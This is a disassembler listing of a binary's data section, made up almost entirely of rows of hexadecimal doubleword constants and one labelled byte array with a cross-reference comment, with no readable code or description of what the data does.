		dd 90C21C20h, 7D5024A0h, 24DE9A6h, 63642667h, 6E84C83Bh
		dd 31BA6743h, 2919D1C0h, 0F75A16D6h, 3857E9DEh,	824A89CEh
		dd 0CAAA800Eh, 9D1EDADFh, 38C0A969h, 0DEE9B09Dh, 204B914h
		dd 9CD7BCBh, 7D196D40h,	54478327h, 5254F83h, 340CBBA0h
		dd 5BE91903h, 30180B0Fh, 3D3FF576h, 108AAE28h, 3E7B82A5h
		dd 20BBDF76h, 508411D9h, 1F96E3D8h, 50659000h, 174C44B8h
		dd 0EC0D007Dh, 2D190407h, 0B7007B3Fh, 8E0C157h,	3E3A9835h
		dd 0CB8422B4h, 0C24C4840h, 30F7C659h, 0B7B82932h, 68CCC771h
		dd 0AC451EE4h, 0E5DB656Eh, 85E9133Fh, 4EB8A4C0h, 5D49252Ah
		dd 0AD3A76DCh, 0EA3B96DFh, 73DB9F02h, 1DB55104h, 0E330D5AFh
		dd 58606263h, 0E8AAE808h, 927AB72Dh, 0B2FD190h,	12D7E61Bh
		dd 0CC05FC68h, 7A408E0Fh, 7CC14838h, 551B310h, 0DE0389BDh
		dd 5ED9300h, 1D1FCD81h,	83279662h, 0BEF21BF5h, 31B3ABB4h
		dd 4F4EC650h, 2C57CF4Dh, 1638455Fh, 2EA232Eh, 0F165EEA2h
		dd 696A4C41h, 0E5EA255Dh, 2789290Eh, 18050E23h,	1277DB24h
		dd 0F2811716h, 133EF309h, 0C31C02EAh, 68409E71h, 54162DF1h
		dd 42014B3Bh, 62B13272h, 1C85D831h, 4AC4E35h, 2D3B5F3h
		dd 0F208968h, 3B416249h, 28C16BC0h, 242F9C5Ah, 44D6B0ADh
		dd 50C85E5Bh, 0B3AC4B28h, 365579CAh, 4E9C3AB4h,	195063FBh
		dd 92D71D68h, 0BBD67C22h, 0C9374C2h, 611236D2h,	0C1A01BE0h
		dd 0A22DE629h, 20F7720Ah, 5EB4FB99h, 8181444Ch,	0C0A2209Dh
		dd 0A1FE77CEh, 9F041A2Ch, 3B31690h, 4D1EF6BAh, 92C9D169h
		dd 1E728762h, 0FF7E673Eh, 8016EBB0h, 8802FDF7h,	0DE685BFAh
		dd 0E399F76Ch, 0F6DAC1D2h, 0FE8D8360h, 158FC25Ch, 169645E9h
		dd 0A40BE1D1h, 0AACD2988h, 7096938h, 3C875118h,	9D009F79h
		dd 0C00106BFh, 0FCC404Ch, 13A71DAAh, 2B323116h,	25ABDCB7h
		dd 46E684D4h, 0C98107F5h, 9E980DB4h, 4FBC03DFh,	181364F2h
		dd 2A1F5ADAh, 327EE101h, 5D3C28A2h, 2FF8B710h, 90095A05h
		dd 5C7B1672h, 5F4B0540h, 2F52A9D3h, 1F71F478h, 0B083134Eh
		dd 510195C8h, 5FE8BB53h, 99704C54h, 54874905h, 2903FF32h
		dd 0B02D9083h, 90F70F3Bh, 0E84E590Ch, 0B16D9B4h, 0D807392Eh
		dd 6A38CFC7h, 0C98DD069h, 2D0E6E24h, 99ADE209h,	0E35C2A4h
		dd 798AAC2Bh, 8016C4Ah,	9F79C6BBh, 2F3D120h, 71BFD94h
		dd 0F2C975E9h, 96096B66h, 0B5FAD8A0h, 0B0201A46h, 0D271C9DEh
		dd 0ADD5946Ah, 0D06A0CB9h, 7CE956C8h, 219C8397h, 6B27BAFDh
		dd 2DE883BBh, 53003242h, 0C56FF10Dh, 0DD054702h, 5F2CCB38h
		dd 0BA004A0Fh, 8977B841h, 0D558C62Eh, 826D4300h, 0B4F5017Fh
		dd 0D74052E7h, 455022F4h, 789E2EA4h, 1E46483Dh,	338B115Ch
		dd 0E4DBD6DCh, 5ED8F810h, 0F7CD480Ah, 982AF8ADh, 245A4B5Ch
		dd 0E8CF0BC7h, 67A6B210h, 0D61B552Ch, 0B5461F02h, 2C12543Ch
		dd 344D00F3h, 95E7EFAh,	1165F558h, 0C31FF06Bh, 35204970h
		dd 5EBF120Eh, 5EE9459Dh, 6FB2219Fh, 47E32A18h, 0BCC5D2DFh
		dd 0C5A24B5Fh, 64422DCBh, 0F860E6FFh, 4EE92A4h,	0BF20B8BAh
		dd 0E1C0FB0Bh, 0B866D428h, 42073D3Ch, 23BBCA00h, 8DE9052Eh
		dd 2F09D4A9h, 0A4E0022h, 0B8EA088Eh, 1784B03Dh,	59620805h
		dd 2D28205Fh, 4FE92507h, 54F64440h, 76C589Dh, 8008E5C0h
		dd 0E83032C5h, 0FCCB1A57h, 581683Dh, 52E987h, 6531732h
		dd 34EC5B20h, 7BAE3E13h, 0D771CE0Bh, 0B002C69Eh, 3118C869h
		dd 0CA5432F3h, 79CB7789h
		dd 806743FCh, 0BF0C1776h, 0C107857h, 0BE3B1212h, 82030E52h
		dd 960D082h, 6DD7CBE0h,	963B6EB7h, 0C791CAh, 0D7083CB2h
		dd 76C05A66h, 0C7FE7EEFh, 5080020Ah, 741E985h, 20BA6C95h
		dd 29B0831Ch, 28BD5502h, 0DE08A418h, 0D3421D60h, 0D011013Fh
		dd 704CED31h, 0C7876C6h, 23E9FB13h, 8E0DDB80h, 589A012Ch
		dd 3EA62D35h, 3C13FC2h,	75D60381h, 0E9160A46h, 50205CD0h
		dd 2D39ED6Ah, 8D653114h, 0F5D0218Ch, 0A66954E9h, 18D1B75Fh
		dd 3199C42h, 63BFED81h,	0F1DA1087h, 0E5275D5Eh,	5F56A51Ah
		dd 0E245D77Ah, 0FC229B2Dh, 4114DDEBh, 6B8D5CAAh, 0F20234A3h
		dd 3E210F4Ch, 0AB0BD7D4h, 0BFF8CE19h, 0ED3E46DAh, 8AB67DCEh
		dd 0BD0F16C0h, 0E2810254h, 78DD1C95h, 0C240ACF4h, 4A16188Ch
		dd 96D1C631h, 0B0160EE6h, 904016Eh, 0AF16DBFDh,	0ADF2E440h
		dd 9013A203h, 153658CEh, 1027742Eh, 2B874163h, 0F90114E4h
		dd 9CBBDFF4h, 2B58C721h, 4808D251h, 0BE5A17AFh,	0C6FA1841h
		dd 0A083BEFDh, 797F5B1Fh, 8728E68h, 99ECE904h, 17E85C9h
		dd 0E3DB2C93h, 1E727C84h, 69C46BBBh, 0B5AB3134h, 47CB3A17h
		dd 0E54B8676h, 3CAF7812h, 0D5828718h, 8F9BBFE0h, 0CC962D85h
		dd 0A4106F03h, 5F7DE975h, 0DF41FDEDh, 0D0C13B92h, 0C3DD5450h
		dd 4169F2Ch, 0D178B125h, 6413F153h, 0F99F5ACAh,	61046B5Eh
		dd 0EA23F40Ch, 0EE25910Bh, 8C3DC46h, 0F5818A59h, 51D47CD9h
		dd 3F121130h, 0E9933C68h, 2DA3C0B1h, 7D013705h,	42AC0D79h
		dd 0ABE81F5Fh, 0BD9FFE56h, 31A57D79h, 55CAC586h, 68BFBD9Ch
		dd 13A9BB50h, 0E3171B3Dh, 0A06802F6h, 7D2E2912h, 0D10B0F94h
		dd 0F0E3E9EBh, 0D6FBB5C7h, 6312C501h, 0E06A6ADBh, 8A2ED1Bh
		dd 0E4B0B6D1h, 597D7684h, 0A05F235Ch, 545A170Ah, 0BF8F0BA8h
		dd 0EFA11424h, 0C97D1CC3h, 0CFD811ACh, 7D0675DBh, 0C1DFF809h
		dd 8023C212h, 0E62A8264h, 0F0E4E2EBh, 9F5695FEh, 0AC38596Bh
		dd 0DD4E13D5h, 2ED3C9A6h, 4B32E344h, 11CD614h, 604A905Bh
		dd 0AD08C010h, 57BBC439h, 68AC01C2h, 0AC2C3A1Eh, 2B41FC4h
		dd 0F9E6C180h, 0D7E04F43h, 0D4F6C4FEh, 9D5780BFh, 82E5C8E9h
		dd 0F8620957h, 168E5BAFh, 0C2C8C463h, 53600500h, 6082B784h
		dd 9417E8DAh, 7B557107h, 1D664B28h, 70658BAh, 897E90BDh
		dd 571F455Ch, 3A9DBF47h, 0C91E03D9h, 86AFF440h,	0C51F12E3h
		dd 31830256h, 58525DE9h, 0F97E0148h, 7F0BBEECh,	0FBAB9022h
		dd 5A444420h, 2CF8A36Eh, 0F6479F2Ah, 4D0A09C1h,	184FD870h
		dd 0C4E6647h, 0C8276F8Eh, 93AD464h, 0B8FFA730h,	2EC2BE27h
		dd 1CBC5946h, 0C49DA0CFh, 6B7EF481h, 20FD67FDh,	0D911379h
		dd 0EC6C5F29h, 40CD08Dh, 5C02E95Dh, 890465EDh, 0FA7D1D66h
		dd 8500DD94h, 6C58748Ah, 3D4EBC47h, 2FFF047Fh, 0C32944FBh
		dd 90108874h, 0BB04805Dh, 81B46B18h, 0A7668FE7h, 41F75491h
		dd 2B03F768h, 0B992118Ah, 956B1626h, 0A4F975FBh, 91407C6Ch
		dd 6AE248D1h, 5B45957Dh, 9184D828h, 1F2F6835h, 0A62CFB53h
		dd 5055005Bh, 517186B8h, 0AE02051Dh, 0E947EF7Ch, 45F6491h
		dd 0F69ED3C2h, 2D1F912Ch, 0C429682h, 54F07BE0h,	4F89C99Bh
		dd 81228C49h, 45276F1h,	77C5ACEh, 0ED93D0EEh, 3B2054AAh
		dd 113A0B69h, 0A0F76C48h, 91FAAFE7h, 173D9EB7h,	82CEF957h
		dd 0DA8CBBE9h, 0CE8B201Dh, 0FBAB587Eh, 0DE6834D2h, 4D48B450h
		dd 0F48003C2h, 0F9DCF6FBh, 33A49C03h, 162BC999h, 5E975D10h
		dd 0C47C5E82h, 590DAB3Bh, 0BA07DF12h, 6C354881h, 0C910B43Eh
		dd 5A14D809h, 0DEF00567h, 30C468ACh, 8EB7056Fh,	0B85F5C4h
		dd 0C10A88FFh, 6208E127h, 7C0DFC9h, 7360EE27h, 0DD7B210Ch
		dd 0CE290A16h, 968846E9h, 8436BC66h, 4F0B48C8h,	6C90DB62h
		dd 3927D165h, 5938C121h, 8F102A22h, 3DC35BABh, 491E4E21h
		dd 22DDEFBDh, 141DDF8h,	795D40E9h, 84CE69FCh, 0CFBF02AAh
		dd 2CD21977h, 98157C99h, 4AB9104Bh, 58C67115h, 727D5516h
		dd 103048C1h, 0B902B690h, 40B376EDh, 12DABF84h,	28B72DFBh
		dd 79408D8Ch, 7B7FF36Ah, 0EB99432Ch, 799057DAh,	99973BFAh
		dd 0FA75C09Eh, 2268F3Eh, 0A8344BBAh, 6F22C076h,	59CC2E6Bh
		dd 2047050Dh, 7D18C188h, 805800E0h, 0B7D170F6h,	0C358C970h
		dd 8F091002h, 4810075Ch, 0EDB715D4h, 0C2B6C437h, 0C04F91FFh
		dd 0D580FDE6h, 0EBEECD63h, 2844EFB0h, 0C775F77Bh, 383F5A59h
		dd 0C6A95FA7h, 0C30F82Ch, 0BE5613ABh, 396BFA0Bh, 6650427h
		dd 8E03D3C0h, 0A95E7Eh,	57D02908h, 0D094DAE9h, 0E2657925h
		dd 5D70A8E9h, 22423796h, 10D50B7Ah, 0B98B2B5Ch,	129048FEh
		dd 4099CAF7h, 0F63168B8h, 0C0E0271Ch, 5C19202Bh, 579EC331h
		dd 17474688h, 803F1242h, 3E780289h, 0FA31E712h,	8E90CCAEh
		dd 0E42E4D6Bh, 0D4032914h, 82E24C2h, 50077D6h, 30117E1Bh
		dd 2E5F0F35h, 8AE91E3Fh, 88BD3120h, 1D58854Ch, 0DCB02A0h
		dd 42E92590h, 0BD565374h, 0A383E593h, 6CB01B19h, 8121F187h
		dd 0C0CB8C50h, 338B2D6Bh, 0F8097DD2h, 9092F3A9h, 2F0F134h
		dd 0E98F25B0h, 0EEF50CA3h, 5980F6D1h, 0F5174506h, 1A82B350h
		dd 0BE96B0Ch, 4033F7EEh, 0FC31125Bh, 562805E9h,	6F886809h
		dd 0FCC74331h, 0C69AC120h, 8CC60132h, 9C91DEACh, 876792BFh
		dd 24C44FABh, 53F2AED6h, 0E4BF2A79h, 5C36FCA2h,	0CD1F1178h
		dd 225BB59h, 0E9732255h, 2C761Ch, 297A23BEh, 0ACEBA2Ch
		dd 0DF31AB2Dh, 5B9B4910h, 1ECC4495h, 0C8E32801h, 0EF9EE474h
		dd 3E6F138Eh, 804B5FC8h, 0F03407E5h, 0EF2A6805h, 7372D66Bh
		dd 18445E99h, 7F460F21h, 9C6BE93Dh, 0FD368BBh, 0FB29BD01h
		dd 0C438A1E9h, 4BD52812h, 3F10EACAh, 60829B62h,	174827D1h
		dd 0ED896820h, 0CE8180FBh, 9DD340AAh, 0DEAF6938h, 12F2BB80h
		dd 2254C31h, 8F2A6020h,	76F780C0h, 0BC8EF882h, 5DB88BECh
		dd 62B174F2h, 5E0EC38Bh, 4F6D6187h, 0F65B6060h,	72E8BD41h
		dd 16452F4Eh, 0F802B3D4h, 608CC8E7h, 0B235822h,	0FE01752Dh
		dd 25088E88h, 0DC909FFAh, 6FFFFF50h, 3ACE6C0Fh,	0A4616B56h
		dd 0E5A25185h, 83DEF705h, 0EED600C6h, 0FD0C591Fh, 0A8E9015Fh
		dd 2C96F693h, 722DE4D0h, 292BFFA3h, 3082617Fh, 3180940Ah
		dd 0E3244A4Fh, 27B6599Dh, 2545451h, 27D66859h, 46AD98FFh
		dd 680086A7h, 4ADA10B8h, 13C70D58h, 0BF516440h,	0E047BD4Eh
		dd 685312DCh, 451BFA1h,	0FFA107AFh, 41717B02h, 741EBEFh
		dd 433567E9h, 9261E13Eh, 8ABE539Eh, 2E1F55F6h, 0ABD60BE2h
		dd 0C9BFE924h, 3DB06FF3h, 6A2518FBh, 0C15EE889h, 13A16F5Dh
		dd 393EA4Bh, 7F2BF810h,	0B146BBDh, 81433EF4h, 1918B8E7h
		dd 0ACFFA079h, 29403D1Bh, 0A3952D17h, 0C8CA2F95h, 7F79C52Ah
		dd 0B2565B3Ah, 1320C04Fh, 2D296F26h, 0E1165BDDh, 36221B09h
		dd 0C58F5F29h, 3EE9E861h, 0F1312ED7h, 0C92FCA86h, 0F55D311Ah
		dd 0C323AF7Ah, 14D2849Ah, 92225F2Dh, 0BE41C829h, 0C8EF04DCh
		dd 0F2ABEA6Eh, 7C4416F1h, 9FE1D2DCh, 13E98A2Eh,	0D3C096E9h
		dd 135CF2BDh, 124D6DDDh, 711B0867h, 78C9DE2Fh, 20C9D064h
		dd 0E73A8821h, 8CA25EA5h, 0F7818795h, 0EAEE1B98h, 81F042ECh
		dd 4B82F218h, 9F31D10Bh, 99200178h, 7ACD1F4Ch, 0C545DE5Fh
		dd 0FF515D68h, 0EB8E620h, 5A09FC67h, 0D21A10C5h, 0A7F78D1Fh
		dd 12C3BDD8h, 0F36304C2h, 6B8CF83h, 0A2171CAh, 6FB4E258h
		dd 0E56BC70Ah, 7E1889FBh
		dd 3F6CF4Ch, 0C0B70FD5h, 39DC8410h, 4369E982h, 0A6C28954h
		dd 820DF408h, 2FD24773h, 7E109980h, 409746D7h, 90D6F791h
		dd 0F53E5165h, 0AE8AD201h, 0EEA8000h, 13A1043Dh, 6845055Dh
		dd 61980620h, 5CC6B849h, 4F2C9D61h, 1541048h, 0F4202D5Bh
		dd 0B16F85F0h, 60972595h, 40139459h, 50FF1EA3h,	0E90B08C6h
		dd 44FA03DCh, 0C4A35B59h, 0E412B561h, 0B1408CA7h, 0EED1394Eh
		dd 3D8C6E0h, 29052F7Ch,	9F01E9F0h, 0E22988D9h, 3BA6F1D2h
		dd 250963A7h, 0FF547F5Eh, 0B5EF7925h, 4980FA20h, 0B56E67D8h
		dd 0B8950504h, 0DD58E278h, 0D4AF77E7h, 4B81C92Eh, 28CFD0E9h
		dd 2DCA938Fh, 4279E90Dh, 0C5302E22h, 7FC8BF0Fh,	274D6368h
		dd 911CF8DDh, 0CF5365C6h, 89AD4BBEh, 0E96AA1D5h, 278F45ACh
		dd 0F260DC5h, 5D4A1A88h, 5CA238FCh, 51A7C756h, 0B951451Fh
		dd 0E9F2E729h, 39ADD402h, 6AAD30F6h, 13A8EE79h,	5D18741Fh
		dd 6B45913h, 2582B0F2h,	72F49A88h, 0CFB22912h, 0FF59E10h
		dd 9D7B353h, 0F745622Bh, 76DF4F4Eh, 5D0BC2EDh, 249DAE5h
		dd 9BD5B019h, 32FECCAEh, 0E6CA3EFBh, 0C9EE6275h, 0A26F5439h
		dd 0F2A69617h, 0A90E4E7Ch, 983B8297h, 0B50CDF4Ah, 9294310Dh
		dd 0AE472612h, 1E7589B1h, 0DF48E3E8h, 7B2BED81h, 0D51A2A0Eh
		dd 7080BC0h, 6CC09E6Eh,	0F2990D77h, 4071035Dh, 696D7B2Dh
		dd 0DF05AAB4h, 27EA98FDh, 0BD8A589h, 4F10AB9Eh,	0E13D6229h
		dd 0A390A56Ah, 80F7ED2Bh, 5C011BB9h, 8440BFDh, 11E4BFD5h
		dd 385D8B7h, 3CD04579h,	9641DA29h, 55BC2B08h, 7995D920h
		dd 45EAAC7Eh, 0AFCDEEBAh, 569AB201h, 22F9AD03h,	0C14F7823h
		dd 0EA265E0h, 0F2FFDE31h, 6048DC0Ch, 65ED3B97h,	72C8C18Ah
		dd 4B22BE00h, 119859EEh, 275FFE70h, 0D1B070C3h,	18946176h
		dd 0F45EB968h, 98002541h, 0C15B222Ch, 0D06E0h, 781D3A7Bh
		dd 0F85CBD05h, 2EE93C3Bh, 50C26603h, 0C9810075h, 0EF3B7947h
		dd 0F8E11D27h, 8340870Fh, 0B723F4F1h, 2E1BDF09h, 3902A7F3h
		dd 0C04558EFh, 1BC25F19h, 3250950h, 0BCAF59BBh,	124A279Ah
		dd 2DF347F5h, 525ED2C0h, 681F98B7h, 0F4181285h,	47E3CC64h
		dd 457E925h, 84A65A78h,	4BDBA210h, 713A25F0h, 4F497C5Bh
		dd 52DF02BBh, 82D702B6h, 4050668Eh, 3B8034CDh, 0B08535CBh
		dd 88C30814h, 0C24FEA48h, 0BF6F0FE4h, 83F1B9E8h, 78E8838Bh
		dd 2D043852h, 0E951F002h, 2FDCDEF4h, 5BB968D0h,	4E49B626h
		dd 0A62030E8h, 3298249Ah, 93251A09h, 3FC8803Ch,	0FF6C287Ch
		dd 830103Fh, 6889E04Bh,	99750A25h, 48E66FF7h, 0F08030D1h
		dd 1EC07BB2h, 0FD9F604h, 0C16178C9h, 31CF280Eh,	0E5D1EAC2h
		dd 1F23788h, 0C12540BDh, 4D64706Ch, 0C32B70E3h,	5E496812h
		dd 2926ED02h, 0DFDDE29Ah, 2E18782h, 40B51EDFh, 23C21914h
		dd 0DD2C9168h, 1AB7CDB4h, 0EF1574Ch, 7A693762h,	11DF0529h
		dd 0AD500F35h, 2F0D2843h, 0A0DDE682h, 0CB195AECh, 0D8E91327h
		dd 2E3DDDFDh, 31C4BCE2h, 551F1F91h, 0D0123C9Ch,	28531B1Dh
		dd 9EDF4C05h, 1D54E2B3h, 0BB4E41FBh, 40D7A578h,	0B383538h
		dd 31E4B18Ah, 19F308Ah,	557B3FE7h, 9FB13E01h, 0E95A0800h
		dd 38F36E07h, 8B3ED3A5h, 0FDA45ADBh, 1BE9800Fh,	0E146BF55h
		dd 66136449h, 75C62D17h, 0EDE8EE0Eh, 9C3F0E05h,	795B7AF0h
		dd 0EB2F3AE6h, 0C293C0FCh, 0F6BC6CABh, 3630D133h, 0D066932h
		dd 6AB7A40Dh, 0B52A1CB2h, 843CB48Ch, 0FD050C85h, 760002Eh
		dd 0C7832A90h, 0C7555AFFh, 7A0F3171h, 2DFC2E7Ch, 0EC85C817h
		dd 17089313h, 7CFC2DD3h, 77EB182h, 9E0B5547h, 0D42408D4h
		dd 41521613h, 50B006A9h, 0D7AA91E9h, 72A696F5h,	6612B68Ch
		dd 0D095E307h, 6D0504E0h, 0FA5A7BA2h, 76740D44h, 72C7FE07h
		dd 4EF65099h, 798BF18Bh, 0FF6617FAh, 3DDD2721h,	70DEB805h
		dd 3624C87Ah, 0F7497698h, 0F3585EA4h, 0E94962FEh, 151E5E11h
		dd 9E10C231h, 875C0395h, 7CD6F7F5h, 809F5E08h, 9B342D2Fh
		dd 7E35152Ch, 26F85817h, 6B79BFD3h, 0E232166Fh,	0B6AB180Eh
		dd 0BCAF5A5h, 31DB7BC1h, 0C22F00D5h, 671129FEh,	614E0C0Dh
		dd 2F017664h, 81A7BC4h,	5B14050Ch, 2CE937E0h, 45FD6348h
		dd 1288005h, 0BC907BAh,	59E7029h, 192FC1C5h, 84F8852Bh
		dd 5A080B08h, 0C57694DFh, 0FBF9F6E1h, 5ED63A88h, 8530FD58h
		dd 55E59705h, 68C67E82h, 0F78F28A4h, 0EE6E39E4h, 65CE7F31h
		dd 101B6800h, 8A0203BBh, 0E328343Bh, 4B2F9835h,	6BC29557h
		dd 57014FABh, 2F986646h, 5E4AFDC0h, 8E899786h, 0AD56DBE2h
		dd 0A8740F2h, 0C6FD82BCh, 2DD67CDBh, 2C20F481h,	6FF91E53h
		dd 0D0F74001h, 98762125h, 67E0DD0h, 0E9197A2Ah,	509F4959h
		dd 90F75C28h, 0BFABB250h, 464EB0B0h, 62B0DF9Bh,	181610D1h
		dd 0BCD2D47h, 0B94A5156h, 896804AFh, 5567C2CEh,	3408CB0Ah
		dd 98DB20D5h, 0BCC54FE7h, 65E4B41Bh, 0EA864116h, 3B87C177h
		dd 947BFD2Ch, 3D791AB9h, 720055D4h, 0F78118F6h,	512C1805h
		dd 5ECA0C7Bh, 163A70Bh,	889E0FFEh, 90E90659h, 0A4BC8D46h
		dd 0AE567E2Fh, 0D92C89E8h, 386E4368h, 17F0909h,	83708FDh
		dd 8225F12h, 0A58C566Fh, 29AB57h, 367BB39h, 0B82A0221h
		dd 7363438Ah, 0E98460D5h, 0DDB44F0Dh, 2AF82B0Bh, 2884B08Eh
		dd 0BB5584C1h, 65D2A004h, 50D3F600h, 8A5ED888h,	0CDF9AAA1h
		dd 0F0057934h, 40722CF0h, 5DE2433Ch, 202ABFF1h,	0A9C15B73h
		dd 200126C1h, 5B743D20h, 0F0F5B8F4h, 5F639F98h,	14CAB192h
		dd 284EA4DDh, 9E66F826h, 51400264h, 0CDFED3B5h,	80D5F60Fh
		dd 2D04F2F5h, 25BB69E6h, 2547ABEAh, 0E0E2F921h,	54185FFCh
		dd 263E27ADh, 44569328h, 21FF9F35h, 7B3B3F21h, 40812E68h
		dd 0D29F21FAh, 9B5897BEh, 1EADB97h, 0A7272FC7h,	7294BC19h
		dd 505D08A0h, 0F62DF1B8h, 0EF51A86Bh, 92148003h, 0D0D01627h
		dd 0D205FC62h, 0D640F2BDh, 0BFA740D1h, 10634C14h, 0DCE71D91h
		dd 0F8159FC9h, 0D480C03Bh, 0E9EFBEFEh, 19B5C02Dh, 216540A9h
		dd 6E21F53Bh, 0EFA217C8h, 0BAE0894Dh, 8F4ABD3Ah, 4713B1DCh
		dd 7DC7D022h, 4A7F8229h, 572D6241h, 91554729h, 3580F6B5h
		dd 44056857h, 2EF62B9Bh, 9AF2B44Eh, 127BF978h, 0E674EF5Eh
		dd 7D84D9ABh, 4202881Fh, 8009AC35h, 0FC67D0F6h,	4898F676h
		dd 0C0D80CE7h, 0FD82A834h, 60EA0C10h, 0D1F1F7A6h, 0BE312B88h
		dd 0EE05AA8Ah, 5AD77CD1h, 6F2B616Bh, 0CF2389B7h, 0F733D059h
		db 6Ah
byte_4E0049	db 94h,	0EFh, 0C0h	; DATA XREF: ___:0042CC94o
		dd 0E39CB065h, 9C0B260h, 91074C03h, 0BD08200Ch,	3BF622A6h
		dd 78EE892Fh, 0FA1BD2D0h, 0C6D2B1D4h, 0C7C2FD29h, 0C3ADCA55h
		dd 76A5CB15h, 92E50975h, 425F1979h, 5C2BF566h, 619D5544h
		dd 52007DD0h, 801CEEB6h, 0BFFAC4F6h, 0E89213A6h, 45C6188h
		dd 61779405h, 2D35C255h, 63E90782h, 48BD61E8h, 2FF06218h
		dd 0E3803F6h, 0E9212D80h, 0EE9E5E25h, 3AB44F40h, 48306AB1h
		dd 0A32050E1h, 0C9054002h, 0C07C284Ah, 31FE2D2Eh, 0D8DA45B4h
		dd 88B803B6h, 4B49CA70h, 0FBE2C701h, 0F65276FCh, 2B700515h
		dd 0CC4BB39h, 0B22A21B1h, 0F2029242h, 0F42B32ECh, 7A9E2838h
		dd 8ACC13F7h, 3974FF04h, 5B3E0BA0h, 2563CF20h, 528C595Ah
		dd 519EE868h, 957AA228h, 79202D04h, 0E3BF2933h,	54254BEh
		dd 0DB71B301h, 36C06849h, 2926313Bh, 0E1C007D9h, 5EC18005h
		dd 0D9E3C444h, 276078B5h, 0A7D35351h, 0AD412EFCh, 0D8827F83h
		dd 0B11C840Fh, 178E475h, 5242DC1Eh, 36512268h, 77AA07E2h
		dd 2A885741h, 9952958Eh, 2CB21E3Fh, 0E989918Dh,	9576D072h
		dd 5408A747h, 2D5F004Dh, 1E700C19h, 0DAA0A590h,	66944846h
		dd 6C88E88Dh, 0C92FE907h, 54872994h, 0A7172DDh,	91CD327h
		dd 0AFCE6783h, 173F8BB6h, 0C932F46Ah, 0E8BC4458h, 0B9E595B8h
		dd 5246424h, 20FE2D92h,	5A394C1Ch, 0DB274B7Fh, 8830D169h
		dd 0D62EAF5Eh, 4A333ABAh, 82E9DE23h, 458D7638h,	4BC18257h
		dd 0F943104h, 37C5FB16h, 5BE9367Ch, 0E53E9213h,	2571145Fh
		dd 0E869ACE9h, 7BBC2B54h, 0D845AE96h, 0B304585Ah, 91280F7h
		dd 5B80C76Fh, 9A52C26h,	4807899Ch, 0A7AFD535h, 8C02C5F6h
		dd 212DC069h, 5E2D304Dh, 0E995AB18h, 0F701AE12h, 4724BEA3h
		dd 0DE2A024Ch, 7EC13DAAh, 7DCF10EEh, 79171232h,	0E2DD0147h
		dd 214EF649h, 0F75D4234h, 0D1942503h, 0FA7C571Eh, 0B650B9B0h
		dd 0C8290B25h, 2C3BD059h, 80BC7A87h, 60E478F6h,	0F00A01E8h
		dd 0BF4ECFE9h, 2E50BA60h, 80186956h, 0D00A4275h, 403BB0D2h
		dd 58125E71h, 9D0AC90Bh, 7CADDFCFh, 68132413h, 0AEED0BA3h
		dd 0C5E41855h, 717E0291h, 5DE8311Ah, 353DBAD0h,	3C998241h
		dd 5FBD61E9h, 9480A7E4h, 6625774Ah, 40555669h, 303B381Eh
		dd 27A1BF80h, 76DC319Eh, 4C08A04Ah, 0C1273EB9h,	1F2755BEh
		dd 72395CCAh, 8469F756h, 0E128BF9h, 0AAF234FFh,	1F08A033h
		dd 975606E2h, 0AC2140E7h, 0D828B82Ch, 0A8D6813h, 0B31640E3h
		dd 4A0FFF14h, 34B9E066h, 0D56F91E9h, 99044989h,	0FF11E602h
		dd 0B9E907D0h, 0BC22D740h, 0B85001A3h, 4F60435Eh, 0B106CC3Eh
		dd 77C9C841h, 793DA941h, 5A296800h, 8A78CDC4h, 130EA2ABh
		dd 0EBCD85CBh, 8ED2FEA5h, 0D9D1ACFDh, 5479BB00h, 0FACE014Eh
		dd 0DC535A75h, 115BB6EFh, 4139BBBDh, 0E919EB82h, 0C675C01Bh
		dd 54F105B8h, 0BA6556F6h, 7AEAE548h, 4713D772h,	0BFD01A60h
		dd 0C0DCF9E9h, 31DDCB97h, 4377446Fh, 1C33F305h,	0CDC06835h
		dd 5A78CA9Eh, 2276EC25h, 2E8B0B01h, 7036353h, 492F8D45h
		dd 0ADB75EEEh, 8F3CC602h, 0C5EF5A05h, 84E51714h, 0E789AADEh
		dd 9FC184E8h, 285B4E68h, 0ED4FE575h, 0B30440ECh, 0F2DA8841h
		dd 62F68F89h, 79D0ADE9h, 0E3123CF4h, 0E7D8EB76h, 0C0DB03B6h
		dd 0B05003EEh, 917808B2h, 9F4C2F35h, 0D596421Ch, 0BC140BA6h
		dd 0AD4ED657h, 0DF2050B2h, 6A49D14Eh, 87278915h, 6CD2C593h
		dd 1F9EFD9Dh, 354B30FEh, 0D28766EAh, 46F26816h,	0ADC002F8h
		dd 0E917AF5Fh, 18879825h, 80B5BA2Ah, 0B59E4C68h, 0F24F541Bh
		dd 5BB5A7B2h, 793730F2h, 139E02h, 0CD8179E6h, 5F267ED7h
		dd 86024D1Bh, 7D38EA56h, 804DE725h, 0D5099DA9h,	7FD69EB8h
		dd 5BD14ABh, 277A4307h,	85F39707h, 5E0809EBh, 3B4902DAh
		dd 49E84B74h, 74252539h, 67F7CC6Ah, 901B97BCh, 6CB8F6E8h
		dd 0BFD9763Dh, 84154C41h, 0AA10E582h, 527ED1Ch,	81890290h
		dd 7BCBA1BCh, 0B51686A3h, 0A14BEE0Ch, 0E8BE28B0h, 9927E8A6h
		dd 73305528h, 7AAD5DC7h, 0F733A893h, 0B7933F26h, 63B14A45h
		dd 93BE1E9h, 77F6439h, 18C83595h, 7DFC7A5Bh, 0CEECF37Eh
		dd 52210A2Ch, 619BE904h, 0D4C4F4EAh, 17F0149Dh,	0B452F486h
		dd 30785A60h, 8C6E6E4h,	7D41F5E9h, 5C13EEB1h, 0EB8038FBh
		dd 39D669C8h, 0E1A2297Bh, 0AD650809h, 803DD424h, 0B918E536h
		dd 0B0A5AF60h, 41762A0Eh, 43169FBEh, 7F49F89Ch,	97814666h
		dd 0C5280172h, 2703EC20h, 51705866h, 0E9D8C3A0h, 39A6A549h
		dd 7D3289BAh, 8C4D47Ch,	5D1DCFE3h, 0D0E7F08Ah, 9A0B08CAh
		dd 5E64905Fh, 6A931771h, 424A129h, 0DD4C8108h, 0DC5A03BEh
		dd 3F34D880h, 0DE214C4Fh, 2978B220h, 665B246Fh,	96D6B66h
		dd 7FE26850h, 0CF885618h, 2BFD49F4h, 7E7CB3B6h,	41CC5CF9h
		dd 5652DF20h, 1C03D3AFh, 761C6B36h, 65924198h, 6CDBF82Dh
		dd 1E87FC5Eh, 0A563D135h, 0DC9D2787h, 4551C4F6h, 0BC69A46Fh
		dd 30BC095Ah, 439B4A13h, 5976EBA6h, 9062C3A1h, 915A8F18h
		dd 2832E82Ah, 0F068CB31h, 14AE1DEh, 711347ACh, 280E062Dh
